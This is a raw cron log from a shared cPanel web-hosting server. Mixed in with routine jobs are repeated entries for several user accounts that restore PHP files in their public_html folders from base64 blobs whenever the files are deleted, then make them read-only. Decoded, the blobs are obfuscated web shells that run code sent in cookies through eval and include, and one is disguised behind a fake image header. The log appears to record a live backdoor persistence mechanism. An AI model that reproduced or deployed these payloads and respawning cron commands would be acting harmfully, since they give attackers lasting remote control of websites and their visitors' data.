Mar  2 05:57:01 medusa CROND[3702]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:57:01 medusa CROND[3694]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:57:01 medusa CROND[3705]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:57:01 medusa CROND[3709]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:58:02 medusa CROND[23271]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 05:58:02 medusa CROND[23401]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:58:02 medusa CROND[23402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:58:02 medusa CROND[23405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:58:02 medusa CROND[23407]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:58:02 medusa CROND[23404]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:58:02 medusa CROND[23411]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:58:02 medusa CROND[23412]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:58:02 medusa CROND[23415]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:58:02 medusa CROND[23416]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 05:58:02 medusa CROND[23421]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:58:02 medusa CROND[23428]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:58:02 medusa CROND[23420]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:58:02 medusa CROND[23432]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:59:01 medusa CROND[9843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:59:01 medusa CROND[10041]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:59:01 medusa CROND[10044]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:59:01 medusa CROND[10045]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:59:01 medusa CROND[10048]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:59:01 medusa CROND[10053]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 05:59:01 medusa CROND[10057]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:59:01 medusa CROND[10058]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:59:01 medusa CROND[10059]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
